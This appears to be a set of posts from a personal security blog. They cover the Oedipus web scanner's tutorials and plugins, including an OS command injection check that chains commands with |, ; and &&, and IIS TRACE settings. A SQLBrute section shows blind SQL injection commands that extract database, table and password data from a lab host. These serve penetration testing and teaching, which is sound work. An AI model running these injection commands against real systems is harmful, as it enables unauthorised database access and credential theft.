justinclarke.com

Who knew it would be so hard to find details on how to turn the TRACE method _on_ for an IIS 6.0 box? In order to test a plugin for Oedipus I needed to turn the TRACE method back on for my testing server running Windows 2003 and IIS 6.0. I finally found the required detail here at the Microsoft site.

For reference - TRACE is controlled by a registry key. Create a DWORD value called EnableTraceMethod in HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ W3SVC\ Parameters. This should be 1 for on, and 0 for off. Enjoy!

I just committed some changes to the Oedipus CVS that perform basic testing at the directory level for the presence of the TRACE method (see here why this is bad), and also for the presence of PUT and DELETE methods. PUT and DELETE are associated with incorrect permissions and/or configuration of a web server, are thankfully not that common, and are certainly showstoppers when they are present. For example, don't configure your IIS webserver to support both WebDAV and have the write permissions if you don't want people uploading pages via PUT and deleting pages using DELETE.

Make sure you are running Ruby 1.8.4 or later, otherwise not all of the HTTP methods are supported, and none of the WebDAV stuff I'm working on at the moment will work either...

I was just reading on Bruce Schneier's blog about Citibank cancelling ATM/debit cards, when used overseas in the UK, Canada, and Russia. These cards were (apparently) previously compromised from a US retailer a year ago, leading me to believe this is: a) not something Citibank is perhaps at fault for... but certainly b) could have been handled a hell of a lot better.

This reminds me of the relatively new mandatory disclosure laws in California, New York, and Ohio, and leads me to wonder whether the people involved were ever informed that their information had been stolen? Certainly the California law was in effect at the time (the New York law went into effect in December 2005, Ohio last month), so I wonder if the people in California had been notified that their cards had been compromised?

Recently I have dug my old second generation 10G iPod out of a dusty drawer where it was relegated, and started listening to Podcasts on a variety of technical and security subjects. Since I live in London, and I commute on the London Underground for at least an hour a day, this is a very handy distraction and a welcome change from lugging around a book and trying to read it on a packed tube carriage.

I have found the following Podcasts to be fairly useful. Since I use iTunes, I found them all in the Podcast Directory and subscribed to them through there:

• This Week in Tech - from Leo Laporte and friends (John Dvorak is a frequent guest) talk about general tech news. A little "Screensavers" fix for those of who miss the show
• Security Now! - from Steve Gibson and Leo Laporte. Covers a lot of good basic knowledge, and pointers to new tools
• PaulDotCom Security Weekly - Paul Asadoorian and Larry Pesce covering the weeks security news and discussion
• SploitCast - Technical security topics and interviews - the most recent podcast is a very good wrapup on the state of Phishing
• CyberSpeak - wrapup of security and forensics happenings, interviews and news
• Blue Box VOIP Security Podcast - Security topics on VOIP and related security

I am starting to listen to a whole lot of other podcasts right now, so I look forward to adding more to my list of Podcasts soon...

Just committed to the CVS was an operating system command injection plugin for Oedipus. This will check for basic instances of chaining commands using a vertical bar (largely Unix), semicolon (Unix), and double ampersands (Windows). It should hopefully pick up instances where unvalidated input is used in a command executed on the underlying operating system. The attempted "exploit" is to generate a time delay we can measure at the scanner level to determine whether the OS level command worked or not.

This is the first in a series of short demonstrations of how to use the Oedipus Web Scanner available from http://oedipus.rubyforge.org. In this lesson, we will look at how to generate a log file to feed into Oedipus for analysis of web requests and responses, and as a basis for dynamic web testing. In this lesson, we are going to use the Burp Suite (specifically the proxy functionality) freely available from Portswigger (note, you will need Java installed for Burp to work), and Firefox to explore the functionality of a sample application, and record a "burp" logfile. The demonstration is done in Linux, however you can record a log file on any platform supporting Java (i.e. like OS X, and Windows with the Sun Java Runtime).

• By default, the Burp proxy will be configured to intercept HTTP requests after they leave the browser. In this configuration we would have to continually click the "Forward" button in order for the requests to be sent to the webserver. We will therefore turn "Intercept Off" in Burp so this doesn't happen. Requests will be passed on by Burp without interruption in this configuration
• We will go to the "Comms" tab in Burp. One of the things we can do on this tab is configure Burp to log all of the requests and responses passing between the browser and webserver. Here we need to select the text file to log these to (in this case "log.txt")
• Burp is now configured to capture and log all HTTP requests and responses that pass through it, however we will need to configure our browser to use Burp as a proxy server. Burp runs on the local IP address (127.0.0.1) on port 8080 by default (although that can be changed if needed). We configure Firefox to use Burp as the proxy from the Edit -> Preferences -> General -> Connection Settings menu path in Firefox (note this option may be somewhere slightly different for other operating systems such as OS X)
• We are now ready to record a log of browsing through the website we are looking to test. In the example movie I am testing a sample web application . I will click through all of the functionality within the application, filling in each form with valid information, and clicking each link that is within the application. It is very important at this stage to ensure that all of the functionality within the application is logged, so we need to make sure our walkthrough includes all of the links, forms, and functionality within the application. This includes any functionality that requires authentication (i.e. functionality that can only be accessed after login). Also, we need to make sure that all of the data we pass into the application is valid at this point, so no testing for issues at this stage!

And we're done for this part. Next installment - we use the log file we just recorded through the Oedipus Analyzer.

This is the second in a series of short demonstrations of how to use the Oedipus Web Scanner available from http://oedipus.rubyforge.org. You can find the first installment, Generating a log file using Burp, here.

In this lesson, we will look at how to run the Oedipus Analyzer from the command line, to review the log file that we previously recorded using the Burp proxy.

The analyzer can take a variety of input files, including proxy logs from the Burp and Paros proxies, as well as various types of Unix and Windows file listings (for specific types of testing on file present on the web server - more on this in the next installment).

The process we go through in running the Analyzer on the log file we have previously recorded is as follows:

• The Oedipus Analyzer takes the following command line options:
  • The -e option prints an example command line for reference
  • The -n option prints out notes on the file listing formats supported by the Oedipus Analyzer
  • The -f option is the log file (or file listing file) to be used for analysis
  • The -t option is to supply the type of file (burp, paros, Unix file listing, or Windows file listing types 1 or 2)
• As well as the file to be analyzed, and the type of file, we need to supply the hostname of the server to be analyzed. This will ensure that we only review and test URLs related to that server when we perform dynamic web scanning testing, and also that we don't erroneously include pages loaded from other sites in our reporting.
• The Oedipus Analyzer creates a unique output directory each time it is run. It generates an analysis report called oedipus-analyze.xml and an input file called input.oedipus

And we're done for this part. Next installment - we use the input.oedipus file to run the Oedipus Scanner to test for web application vulnerabilities on the live website

Update - An update to SQLBrute (version 1.0) has been released (including a Windows binary version). This is probably going to be the final version in Python - I've started rewriting the tool as a Windows GUI application in .NET, so look forward to a point-and-brute-force version soon.

• Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid)
• Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)

 ___  _____  __    ____  ____  __  __  ____  ____
/ __)(  _  )(  )  (  _ \(  _ \(  )(  )(_  _)( ___)
\__ \ )(_)(  )(__  ) _ < )   / )(__)(   )(   )__)
(___/(___/\\(____)(____/(_)\_)(______) (__) (____)

    Usage: ./sqlbrute.py options url
            [--help|-h]                        
            [--verbose|-v]                    
            [--server|-d oracle|sqlserver]     
            [--error|-e regex]                 
            [--threads|-s number]             
            [--cookie|-k string]              
            [--time|-n]                       
            [--data|-p string]                
            [--database|-f database]          
            [--table|-t table]                 
            [--column|-c column]               
            [--where|-w column=data]           
            [--header|-x header::val]          

• --data allows you to specify POST data for a form post. Takes a string containing all the data as an argument
• --cookie allows you to specify the cookies to be supplied. Takes a string containing all the cookies as an argument
• --header allows you to specify arbitrary HTTP headers to include in the request (e.g. Accepts headers or similar). The header name and value need to be supplied as a single argument of the form header::value

• --server forces the tool to use Oracle or SQL Server exploit techniques. This is needed because the tool defaults to SQL Server, and won't intelligently detect that Oracle is in use
• --threads specifies how many worker threads the tool will use to send requests. This defaults to 5, however this should be reduced if you are getting unreliable results (especially when doing time based testing). Setting this too high has a tendency to max the CPU on your machine, and have bad effects on the machine you're testing
• --time forces the tool to use time based testing instead of error based testing
• --verbose turns on verbose output. By default the tool doesn't output anything until it has completely enumerated an entry, which can lead to wondering whether it is actually doing anything. Using verbose once will output preliminary results - allowing you to see that its working. Using verbose twice will output requests and responses to allow debug issues with the tool
• --output allows us to specify an output file for the results. Otherwise the only results we will get will be to stdout

• --error specifies a regular expression to look for that appears in one of the AND or OR cases noted above. Usually this will be something identifiable such as an error message, or a message noting that no results were found
• --database (SQL Server only) specifies what database to use for enumerating data
• --table specifies what table to use for enumerating data
• --column specifies what column to use for enumerating data
• --where allows us to filter what data to brute force out by specifying a WHERE clause when enumerating a column. The where data must be in the form column_name=data (i.e. WHERE foo=bar)

• Running the tool without specifying a database, table, or column parameter will enumerate the list of databases for SQL Server, and the list of user tables for Oracle
• Running the tool with the name of a database (SQL Server only) will enumerate the list of tables
• Running the tool with a table parameter (plus database parameter for SQL Server) will enumerate the columns in that table
• Running the tool with a column parameter (with table and database parameters if applicable) will enumerate the data in that column of that parameter. You can then find matching values in other columns of the table through using a --where command line option

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last 
response comes in.
Found: msdb
Found: pubs
Found: model
Found: tempdb
Found: master
Found: webapp      

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last 
response comes in.
Found: myview
Found: locator
Found: customer
Found: postings
Found: responses
Found: dtproperties
Found: fresh_postings
Found: fresh_responses

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last 
response comes in.
Found: city
Found: email
Found: lname
Found: fname
Found: mname
Found: phone
Found: endbal
Found: county
Found: begbal
Found: address
Found: custnum
Found: deposits
Found: password
Found: postcode
Found: withdrawals 

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column password http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last 
response comes in.
Found: dog
Found: test
Found: hawk
Found: loki
Found: fish
Found: buzz

<Control-C hit at this point>

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column custnum --where password=dog \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last 
response comes in.
Found: 1.036512520000000e+008  

I recently had the need to generate some flash demos to demonstrate the Oedipus Web Scanner in action. Since I don't happen to have one of the commercial Flash demo generators handy at home (I use Viewlet Builder for Linux at work) I decided to see what I could get done with an all Open Source solution.

I quickly found vnc2swf, for recording a VNC session as a Flash movie. There are two versions of vnc2swf, one in C and one in Python - I ended up using both in my case. A cool feature both version have is they generate an HTML file that you can use to display the Flash file you just created. The Python version, which is the one under active development, generates a nice Javascript progress bar and pause button in this page, which I ended up using verbatim for my demo pages.

Since I was recording on Linux I installed TightVNC as my VNC server (you can use any VNC server, such as RealVNC or UltraVNC, or the original VNC if you still use it).

Running vncserver on Linux starts a separate X Windows session that can have it's own programs running. This was perfect for my needs, however if you need access to your entire desktop for some reason you could use x11vnc for this. For the purposes of what I needed, I configured my VNC session to run gnome terminal and metacity so I could get a Gnome-style capture. You do this by configuring your $HOME/.vnc/xstartup file on the server I was using. This is what mine looks like:

#!/bin/sh
xrdb $HOME/.Xresources
xsetroot -solid grey
gnome-terminal &
metacity &

After this is all setup, we point vnc2swf at the vncserver. In my case, the options I used (using the C version of vnc2swf) were similar to this:

vnc2swf -startrecording -geometry 800x600 -depth 16 -framerate 5 ~/moviename.swf hostname:1.0

After recording a satisfactory demo, I recorded an audio commentary as a 44kbps WAV file, compressed this to a 24kbps MP3 file using LAME, and added this to the original Flash file (and did some compression as well) using edit.py from the Python version of vnc2swf as follows:

edit.py -a audio.mp3 -c -o output.swf original.swf

And we're done! I should note that one of my audio files was a few seconds too long. I used Audacity to "speed up" the file so that it fit the length of the flash movie.

For reference, the demos I recorded are here and here to see what kind of quality I ended up with.

Final Note: A colleague pointed me to Wink after I had completed this. I will be trying this next time I need to do a software demo.

From reviewing the logs on my website, a lot of the hits I get are from various RSS feed readers and aggregators, especially of the Google and Yahoo variety. Since I don't blog that often (as this is really a forum for tips, tricks, howtos, and articles), I thought I might find out how to specify to an RSS feed reader that my blog is not updated that often.

I eventually found this site, which had the detail I was looking for RSS 1.0 and RSS 2.0 feeds. You should now all see that my feed "suggests" that the update internal is 1440 minutes (one day) between updates.

Now if only there were some support for the same in the Atom format?

This is the third (and final for now) in a series of short demonstrations of how to use the Oedipus Web Scanner available from http://oedipus.rubyforge.org. You can find the first installment, Generating a log file using Burp, here, and the second installment, Running the Oedipus Analyzer from the Command Line, here.

In this lesson, we will look at how to run the Oedipus Scanner from the command line in order to perform dynamic web application testing using the input file generated by Oedipus Analyzer in Lesson 2.

• The Oedipus Scanner takes the following command line options:
  • As for the Oedipus Analyzer, the -e option prints an example command line for reference, and the -n option prints out notes on the default options and behaviour of the tool
  • The -v option enables verbose output
  • The -f option is the Oedipus input file. This is the input.oedipus file generated previously by the Oedipus Anayzer, or is a file in the same format generated by another tool such as IEnterceptor
  • The -w option specifies what plugins will be executed for the scan. By default the type of scan is "basic", which runs the Directory Listing, SQL Injection and Cross Site Scripting (HTML Injection) plugins. The "moderate" setting enables the basic plugins and adds the File Extension (looking for backup files), File Download (for detecting file download issues) and File Rooter (for forceful browsing/finding files) plugins. The "all" setting will run all of the plugins in the plugin directory, and is recommended for thoroughness. If you specify a particular plugin (by name, usually the plugin file name in ./scanner/plugins without the trailing ".rb"), only that plugin will be used for testing
  • The -p option specifies which port the target system should be tested on. This is for when the web application is not on port 80 for HTTP, or port 443 for HTTPS.
  • The -c option is for supplying Oedipus with a cookie or cookies that will be needed to access the pages of the application. This should be obtained each time the Oedipus Scanner is run in order to ensure that the application is tested properly. This is demonstrated in the flash movie for this lesson (see above) where Burp Proxy is used to obtain the cookie after we have authenticated to the application
  • The -q option specifies a variable that will be added to the application's URL. This is commonly used for where an application uses a variable on the querystring for maintaining session instead of using a cookie. Note that if you don't want Oedipus to fuzz this variable, add the variable to the list of ignored variables with the -i option (see below)
  • The -i option allows us to specify variables that Oedipus will not fuzz during testing (i.e. that will be ignored)
  • The -y option allows us to specify an HTTP proxy that will be used by Oedipus for issuing requests to the target host
  • The -b and -r options allow us to specify Basic Authentication credentials for the web server and proxy server respectively for when this is required
  • And finally, the -x option allows us to specify an SSL client certificate (in PEM format) to be used by Oedipus when issuing requests to the application
• The Oedipus Scanner will generate two report files that can be opened in a Web browser. oedipus-scanner-stats.xml has statistics and overall information about the run of the tool, whereas oedipus-scanner.xml contains the details from the scanner plugins
• Where a plugin reported an issue that can be reproduced with a GET or POST to the application, the report will contain a clickable link and an input box for customising the testing value. This will cause a separate browser to pop up, hopefully demonstrating the issue

And we're done with our quick tour of the Oedipus Scanner. Enjoy!